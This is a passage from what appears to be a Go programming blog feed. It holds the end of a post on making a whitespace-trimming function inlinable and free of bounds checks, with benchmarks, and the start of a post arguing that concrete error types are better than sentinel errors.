</span></span></code></pre></div><p>And <em>voilà!</em> <code>TrimOWS</code> still doesn&rsquo;t incur any bounds checks but is now inlinable:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-d=ssa/check_bce/debug=1&#39;</span>
</span></span><span style="display:flex;"><span>$
</span></span><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-m=2&#39;</span> 2&gt;&amp;<span style="color:#ae81ff">1</span> | grep TrimOWS
</span></span><span style="display:flex;"><span>./ows.go:9:6: can inline TrimOWS with cost <span style="color:#ae81ff">78</span> as: <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>    func<span style="color:#f92672">(</span>string, int<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>string, bool<span style="color:#f92672">)</span> <span style="color:#f92672">{</span> <span style="color:#66d9ef">for</span> loop; <span style="color:#66d9ef">for</span> loop; <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>, true <span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Mission accomplished. 🎉</p>
</details>

<h2 id="my-solution">My solution <a href="#my-solution">¶</a></h2>
<p>Below is my complete final implementation. As required, it is both inlinable and
free of bounds checks; besides, it remains easy to read, in my opinion.</p>

<details>
  <summary>Final implementation</summary>
  <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">headers</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// TrimOWS trims up to n bytes of optional whitespace (OWS)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// from the start of and/or the end of s.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// If no more than n bytes of OWS are found at the start of s</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// and no more than n bytes of OWS are found at the end of s,</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// it returns the trimmed result and true.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Otherwise, it returns some unspecified string and false.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">TrimOWS</span>(<span style="color:#a6e22e">s</span> <span style="color:#66d9ef">string</span>, <span style="color:#a6e22e">n</span> <span style="color:#66d9ef">int</span>) (<span style="color:#a6e22e">_</span> <span style="color:#66d9ef">string</span>, <span style="color:#a6e22e">_</span> <span style="color:#66d9ef">bool</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> len(<span style="color:#a6e22e">s</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">i</span> &gt; <span style="color:#a6e22e">n</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">isOWS</span>(<span style="color:#a6e22e">s</span>[<span style="color:#a6e22e">i</span>]) {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">s</span> = <span style="color:#a6e22e">s</span>[<span style="color:#a6e22e">i</span>:]
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">:=</span> len(<span style="color:#a6e22e">s</span>); <span style="color:#a6e22e">i</span> &gt; <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">--</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">i</span> &lt; len(<span style="color:#a6e22e">s</span>)<span style="color:#f92672">-</span><span style="color:#a6e22e">n</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">isOWS</span>(<span style="color:#a6e22e">s</span>[<span style="color:#a6e22e">i</span><span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]) {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">s</span>[:<span style="color:#a6e22e">i</span>], <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>, <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// See https://httpwg.org/specs/rfc9110.html#whitespace.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">isOWS</span>(<span style="color:#a6e22e">b</span> <span style="color:#66d9ef">byte</span>) <span style="color:#66d9ef">bool</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;\t&#39;</span> <span style="color:#f92672">||</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39; &#39;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div></details>

<p>You might have gotten there by a less circuitous way than I did, or you may
have arrived at an entirely different implementation.  However, if your
implementation of <code>TrimOWS</code> is correct, inlinable, free of bounds checks, and
has an inlining cost below 78 (without inlining the <code>isOWS</code> function), I want
to hear from you; do let me know on <a href="https://bsky.app/profile/jub0bs.com" target="_blank" rel="noopener">Bluesky</a>, <a href="https://infosec.exchange/@jub0bs" target="_blank" rel="noopener">Mastodon</a>,
<a href="https://gophers.slack.com/team/U017WTHJ4V7" target="_blank" rel="noopener">Gophers Slack</a>, or <a href="https://www.reddit.com/r/golang/comments/1kbr3nu/challenge_make_this_go_function_inlinable_and/" target="_blank" rel="noopener">Reddit</a>.</p>
<h2 id="benchmark-results">Benchmark results <a href="#benchmark-results">¶</a></h2>
<p>Were all these contortions worth the time and effort? As often with
optimisation, it depends™.  Here are some benchmark results pitting my final
implementation against my initial one:</p>
<pre tabindex="0"><code>goos: darwin
goarch: amd64
pkg: gist.github.com/jub0bs/0aca3c6bd041e838fe4add58a060be35
cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
                                                     │     old     │                 new                 │
                                                     │   sec/op    │   sec/op     vs base                │
TrimOWS/empty-8                                        2.464n ± 4%   2.208n ± 3%  -10.41% (p=0.000 n=20)
TrimOWS/no_OWS-8                                       3.955n ± 1%   3.624n ± 8%   -8.36% (p=0.000 n=20)
TrimOWS/internal_OWS-8                                 3.946n ± 1%   3.638n ± 1%   -7.79% (p=0.000 n=20)
TrimOWS/leading_and_trailing_OWS-8                     5.283n ± 1%   5.890n ± 1%  +11.49% (p=0.000 n=20)
TrimOWS/a_tolerated_amount_of_OWS_around_non-OWS-8     6.666n ± 0%   5.915n ± 1%  -11.27% (p=0.000 n=20)
TrimOWS/a_tolerated_amount_of_OWS_and_nothing_else-8   5.138n ± 1%   6.901n ± 1%  +34.30% (p=0.000 n=20)
TrimOWS/non-OWS_whitespace-8                           4.876n ± 1%   4.697n ± 1%   -3.66% (p=0.000 n=20)
TrimOWS/too_much_leading_OWS-8                         4.243n ± 1%   3.911n ± 0%   -7.82% (p=0.000 n=20)
TrimOWS/too_much_trailing_OWS-8                        7.001n ± 2%   6.024n ± 1%  -13.96% (p=0.000 n=20)
TrimOWS/too_much_leading_and_trailing_OWS-8            4.233n ± 1%   3.887n ± 1%   -8.17% (p=0.000 n=20)
geomean                                                4.603n        4.445n        -3.43%
</code></pre><p>The latter is overall faster than the former.
You could dismiss the final implementation by arguing that it saves only a
fraction of a nanosecond in each benchmark case, but you should pay closer
attention to the relative difference than to the absolute difference; and such
seemingly insignificant improvements may matter in a performance-critical
scenario.</p>
<p>Can this speedup of execution really be ascribed to inlinability, though?
To find out, I slapped a <code>//go:noinline</code> directive and re-ran the benchmarks.
According to the results, inlinability helps a lot: my final implementation,
when disallowed from being inlined, turns out to be overall slower than my
initial, non-inlinable implementation.</p>
<p>You may have noticed one fly in the ointment: although the final
implementation&rsquo;s benchmark results are positive overall, they consist in a mix
of improvements and regressions.  I can think of one ultimate refactoring that,
without introducing bounds checks or compromising eligibility to inlining,
speeds up <code>TrimOWS</code>&rsquo;s execution in all cases.  I&rsquo;m including some benchmark
results below as a teaser, but I&rsquo;ll leave this mysterious change as an
exercise.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>goos: darwin
</span></span><span style="display:flex;"><span>goarch: amd64
</span></span><span style="display:flex;"><span>pkg: gist.github.com/jub0bs/0aca3c6bd041e838fe4add58a060be35
</span></span><span style="display:flex;"><span>cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
</span></span><span style="display:flex;"><span>                                                     │     old     │               latest                │
</span></span><span style="display:flex;"><span>                                                     │   sec/op    │   sec/op     vs base                │
</span></span><span style="display:flex;"><span>TrimOWS/empty-8                                        2.464n ± 4%   1.541n ± 4%  -37.46% (p=0.000 n=20)
</span></span><span style="display:flex;"><span>TrimOWS/no_OWS-8                                       3.955n ± 1%   3.401n ± 1%  -14.01% (p=0.000 n=20)
</span></span><span style="display:flex;"><span>TrimOWS/internal_OWS-8                                 3.946n ± 1%   3.401n ± 0%  -13.81% (p=0.000 n=20)
</span></span><span style="display:flex;"><span>TrimOWS/leading_and_trailing_OWS-8                     5.283n ± 1%   5.046n ± 2%   -4.49% (p=0.000 n=20)
</span></span><span style="display:flex;"><span>TrimOWS/a_tolerated_amount_of_OWS_around_non-OWS-8     6.666n ± 0%   4.897n ± 2%  -26.54% (p=0.000 n=20)
</span></span><span style="display:flex;"><span>TrimOWS/a_tolerated_amount_of_OWS_and_nothing_else-8   5.138n ± 1%   3.668n ± 5%  -28.61% (p=0.000 n=20)
</span></span><span style="display:flex;"><span>TrimOWS/non-OWS_whitespace-8                           4.876n ± 1%   4.093n ± 2%  -16.06% (p=0.000 n=20)
</span></span><span style="display:flex;"><span>TrimOWS/too_much_leading_OWS-8                         4.243n ± 1%   3.971n ± 3%   -6.40% (p=0.000 n=20)
</span></span><span style="display:flex;"><span>TrimOWS/too_much_trailing_OWS-8                        7.001n ± 2%   7.096n ± 1%        ~ (p=0.172 n=20)
</span></span><span style="display:flex;"><span>TrimOWS/too_much_leading_and_trailing_OWS-8            4.233n ± 1%   3.946n ± 2%   -6.78% (p=0.000 n=20)
</span></span><span style="display:flex;"><span>geomean                                                4.603n        3.861n       -16.12%
</span></span></code></pre></div><h2 id="can-and-should-regressions-be-automatically-detected">Can and should regressions be automatically detected? <a href="#can-and-should-regressions-be-automatically-detected">¶</a></h2>
<p>Manually verifying that a function remains inlinable and free of bounds checks
quickly becomes tedious, to the point that I (and <a href="https://gophers.slack.com/archives/C0VP8EF3R/p1745435111713769" target="_blank" rel="noopener">other Gophers</a>)
sometimes wish for <a href="https://pkg.go.dev/cmd/compile#hdr-Compiler_Directives" target="_blank" rel="noopener">compiler directives</a> that would automatically alert me to
such regressions. For instance, you could imagine a function directive for
marking a function as &ldquo;intended for inlining&rdquo; and that would cause compilation
to fail if the compiler in fact deemed the function ineligible for inlining:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">//go:inlinable</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">TrimOWS</span>(<span style="color:#a6e22e">s</span> <span style="color:#66d9ef">string</span>, <span style="color:#a6e22e">n</span> <span style="color:#66d9ef">int</span>) (<span style="color:#a6e22e">_</span> <span style="color:#66d9ef">string</span>, <span style="color:#a6e22e">_</span> <span style="color:#66d9ef">bool</span>) { <span style="color:#75715e">/* ... */</span> }
</span></span></code></pre></div><p>You could also imagine a compiler directive that would cause compilation to
fail if the compiler detected bounds checks on a given line:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">isOWS</span>(<span style="color:#a6e22e">s</span>[<span style="color:#a6e22e">i</span><span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]) { <span style="color:#75715e">//go:nobc</span>
</span></span></code></pre></div><p>Alternatively, you could imagine a more granular compiler directive that would
fail compilation if a line of interest incurred a prohibitive (and
configurable) number of bounds checks:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">Cut</span>(<span style="color:#a6e22e">s</span>, <span style="color:#a6e22e">sep</span> <span style="color:#66d9ef">string</span>) (<span style="color:#a6e22e">before</span>, <span style="color:#a6e22e">after</span> <span style="color:#66d9ef">string</span>, <span style="color:#a6e22e">found</span> <span style="color:#66d9ef">bool</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">Index</span>(<span style="color:#a6e22e">s</span>, <span style="color:#a6e22e">sep</span>); <span style="color:#a6e22e">i</span> <span style="color:#f92672">&gt;=</span> <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">s</span>[:<span style="color:#a6e22e">i</span>], <span style="color:#a6e22e">s</span>[<span style="color:#a6e22e">i</span><span style="color:#f92672">+</span>len(<span style="color:#a6e22e">sep</span>):], <span style="color:#66d9ef">true</span> <span style="color:#75715e">//go:maxbce:1</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">s</span>, <span style="color:#e6db74">&#34;&#34;</span>, <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>However, I think that such directives are unlikely to ever be supported by the
Go compiler.  Recall that neither the inlining
logic nor the bounds-check-elimination logic are enshrined in the language
specification; they&rsquo;re mere implementation details of the compiler and, as
such, they may (and do, in my experience) evolve.  The introduction of such
compiler directives as discussed above would open the undesirable possibility
that existing programs break as a result of changes to the compiler, a
possibility that would violate <a href="https://go.dev/doc/go1compat" target="_blank" rel="noopener">Go 1.0&rsquo;s compatibility promise</a>.</p>
<p>Third-party tools, such as <a href="https://jordanlewis.org/" target="_blank" rel="noopener">Jordan Lewis</a>&rsquo;s <a href="https://github.com/jordanlewis/gcassert" target="_blank" rel="noopener"><code>gcassert</code>
command</a>, purport (among other goals) to fill the gap left by the
absence of such compiler directives.  However, I must admit that I&rsquo;m reluctant
to pepper my code with third-party annotations; doing so would conflict with
the minimalism that I&rsquo;ve grown accustomed to since I took my first step in the
world of Go.</p>
<p>And perhaps a good suite of benchmarks is all I need. After all, some
inlinability regressions and bounds-check-elimination regressions may only have a
negligible effect on performance and may not be worth attending to.</p>
<h2 id="takeaways">Takeaways <a href="#takeaways">¶</a></h2>
<ul>
<li>Eliminating most bounds checks from a function while also making it eligible
for inlining can unlock an execution speedup.</li>
<li>Through trial and error, a series of simple refactorings can lower a
function&rsquo;s inlining cost and reduce the number of expensive bounds checks
deemed necessary by the Go compiler.</li>
<li>Micro-optimisation sometimes is a futile endeavour but often proves
intellectually rewarding.</li>
</ul>
<p>If you&rsquo;d like to learn more about inlining and bounds-check elimination, I
recommend you peruse <a href="https://go101.org/" target="_blank" rel="noopener">Tapir Liu</a>&rsquo;s <a href="https://go101.org/optimizations/101.html" target="_blank" rel="noopener"><em>Go Optimizations 101</em>
e-book</a> and watch
<a href="https://www.youtube.com/watch?v=5toTS6kSWHA" target="_blank" rel="noopener">the talk that Agniva de Sarker gave at GopherCon 2020</a>.</p>
<p>I hope that you&rsquo;ve enjoyed this challenge. Till next time.</p>
<h2 id="acknowledgments">Acknowledgments <a href="#acknowledgments">¶</a></h2>
<p>Thanks to <a href="https://laurentsv.com/" target="_blank" rel="noopener">Laurent Demailly</a> for <a href="https://gophers.slack.com/archives/C02A3DRK6/p1746116844396379?thread_ts=1746046292.845239&amp;cid=C02A3DRK6" target="_blank" rel="noopener">kindly alerting me to the presence
of a bug</a>, which I&rsquo;ve now fixed, and for his constructive feedback
about the design of this challenge.</p>
<p>Edit (2025/08/07): <a href="https://thoughts.gohu.org" target="_blank" rel="noopener">Hugo Chargois</a> has since identified an infelicity in my spec
and test suite and came up with an alternative that further reduces the
inlining cost (down to 74). Do check out <a href="https://thoughts.gohu.org/posts/2025/jub0bs-inlinability-challenge/" target="_blank" rel="noopener">his blog post</a> about his solution.</p>
]]></content>
        </item>
        
        <item>
            <title>Why concrete error types are superior to sentinel errors</title>
            <link>//jub0bs.com/posts/2025-03-31-why-concrete-error-types-are-superior-to-sentinel-errors/</link>
            <pubDate>Mon, 31 Mar 2025 16:15:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2025-03-31-why-concrete-error-types-are-superior-to-sentinel-errors/</guid>
            <description>&lt;h2 id=&#34;tldr&#34;&gt;TL;DR &lt;a href=&#34;#tldr&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Exported concrete error types are superior to sentinel errors. They can be
more performant, cannot be clobbered, and promote extensibility.&lt;/li&gt;
&lt;li&gt;Third-party function &lt;a href=&#34;https://pkg.go.dev/github.com/jub0bs/errutil#Find&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;code&gt;errutil.Find&lt;/code&gt;&lt;/a&gt; is a powerful alternative to
standard-library function &lt;a href=&#34;https://pkg.go.dev/errors#As&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;code&gt;errors.As&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;setting-the-scene&#34;&gt;Setting the scene &lt;a href=&#34;#setting-the-scene&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Imagine that you&amp;rsquo;re writing a package named &lt;code&gt;bluesky&lt;/code&gt; whose purpose is to check
the availability of usernames on &lt;a href=&#34;https://bsky.app/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Bluesky&lt;/a&gt;, the up-and-coming
social-media platform:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;package&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;bluesky&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;IsAvailable&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;username&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;) (&lt;span style=&#34;color:#66d9ef&#34;&gt;bool&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;error&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// actual implementation omitted&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;nil&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Calls to &lt;code&gt;IsAvailable&lt;/code&gt; may fail (i.e. return a non-&lt;code&gt;nil&lt;/code&gt; &lt;code&gt;error&lt;/code&gt; value) for
various reasons: &lt;code&gt;username&lt;/code&gt; may not be valid on Bluesky; or there
may be technical difficulties that prevent the function from determining
&lt;code&gt;username&lt;/code&gt;&amp;rsquo;s availability on Bluesky.  You anticipate that clients of your
package will wish to programmatically react to function &lt;code&gt;IsAvailable&lt;/code&gt;&amp;rsquo;s various
failure cases, and you intend to design your package to allow them to do so.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="tldr">TL;DR <a href="#tldr">¶</a></h2>
<ul>
<li>Exported concrete error types are superior to sentinel errors. They can be
more performant, cannot be clobbered, and promote extensibility.</li>
<li>Third-party function <a href="https://pkg.go.dev/github.com/jub0bs/errutil#Find" target="_blank" rel="noopener"><code>errutil.Find</code></a> is a powerful alternative to
standard-library function <a href="https://pkg.go.dev/errors#As" target="_blank" rel="noopener"><code>errors.As</code></a>.</li>
</ul>
<h2 id="setting-the-scene">Setting the scene <a href="#setting-the-scene">¶</a></h2>
<p>Imagine that you&rsquo;re writing a package named <code>bluesky</code> whose purpose is to check
the availability of usernames on <a href="https://bsky.app/" target="_blank" rel="noopener">Bluesky</a>, the up-and-coming
social-media platform:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">bluesky</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">IsAvailable</span>(<span style="color:#a6e22e">username</span> <span style="color:#66d9ef">string</span>) (<span style="color:#66d9ef">bool</span>, <span style="color:#66d9ef">error</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// actual implementation omitted</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Calls to <code>IsAvailable</code> may fail (i.e. return a non-<code>nil</code> <code>error</code> value) for
various reasons: <code>username</code> may not be valid on Bluesky; or there
may be technical difficulties that prevent the function from determining
<code>username</code>&rsquo;s availability on Bluesky.  You anticipate that clients of your
package will wish to programmatically react to function <code>IsAvailable</code>&rsquo;s various
failure cases, and you intend to design your package to allow them to do so.</p>
<h3 id="sentinel-errors">Sentinel errors <a href="#sentinel-errors">¶</a></h3>
<p>The most popular and most straightforward approach consists in exporting
distinguished error variables, a.k.a. <em>sentinel errors</em>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">bluesky</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;errors&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;math/rand/v2&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">ErrInvalidUsername</span> = <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#e6db74">&#34;invalid username&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">ErrUnknownAvailability</span> = <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#e6db74">&#34;unknown availability&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">IsAvailable</span>(<span style="color:#a6e22e">username</span> <span style="color:#66d9ef">string</span>) (<span style="color:#66d9ef">bool</span>, <span style="color:#66d9ef">error</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// actual implementation omitted</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">switch</span> <span style="color:#a6e22e">rand</span>.<span style="color:#a6e22e">IntN</span>(<span style="color:#ae81ff">3</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>, <span style="color:#a6e22e">ErrInvalidUsername</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> <span style="color:#ae81ff">1</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>, <span style="color:#a6e22e">ErrUnknownAvailability</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">default</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Here is an example of client code reacting to such sentinel errors:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;errors&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;os&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;strconv&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;example.com/bluesky&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> len(<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Args</span>) &lt; <span style="color:#ae81ff">2</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Fprintf</span>(<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Stderr</span>, <span style="color:#e6db74">&#34;usage: %s &lt;username&gt;\n&#34;</span>, <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Args</span>[<span style="color:#ae81ff">0</span>])
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Exit</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">username</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Args</span>[<span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">avail</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">IsAvailable</span>(<span style="color:#a6e22e">username</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">Is</span>(<span style="color:#a6e22e">err</span>, <span style="color:#a6e22e">bluesky</span>.<span style="color:#a6e22e">ErrInvalidUsername</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">tmpl</span> = <span style="color:#e6db74">&#34;%q is not valid on Bluesky.\n&#34;</span>,
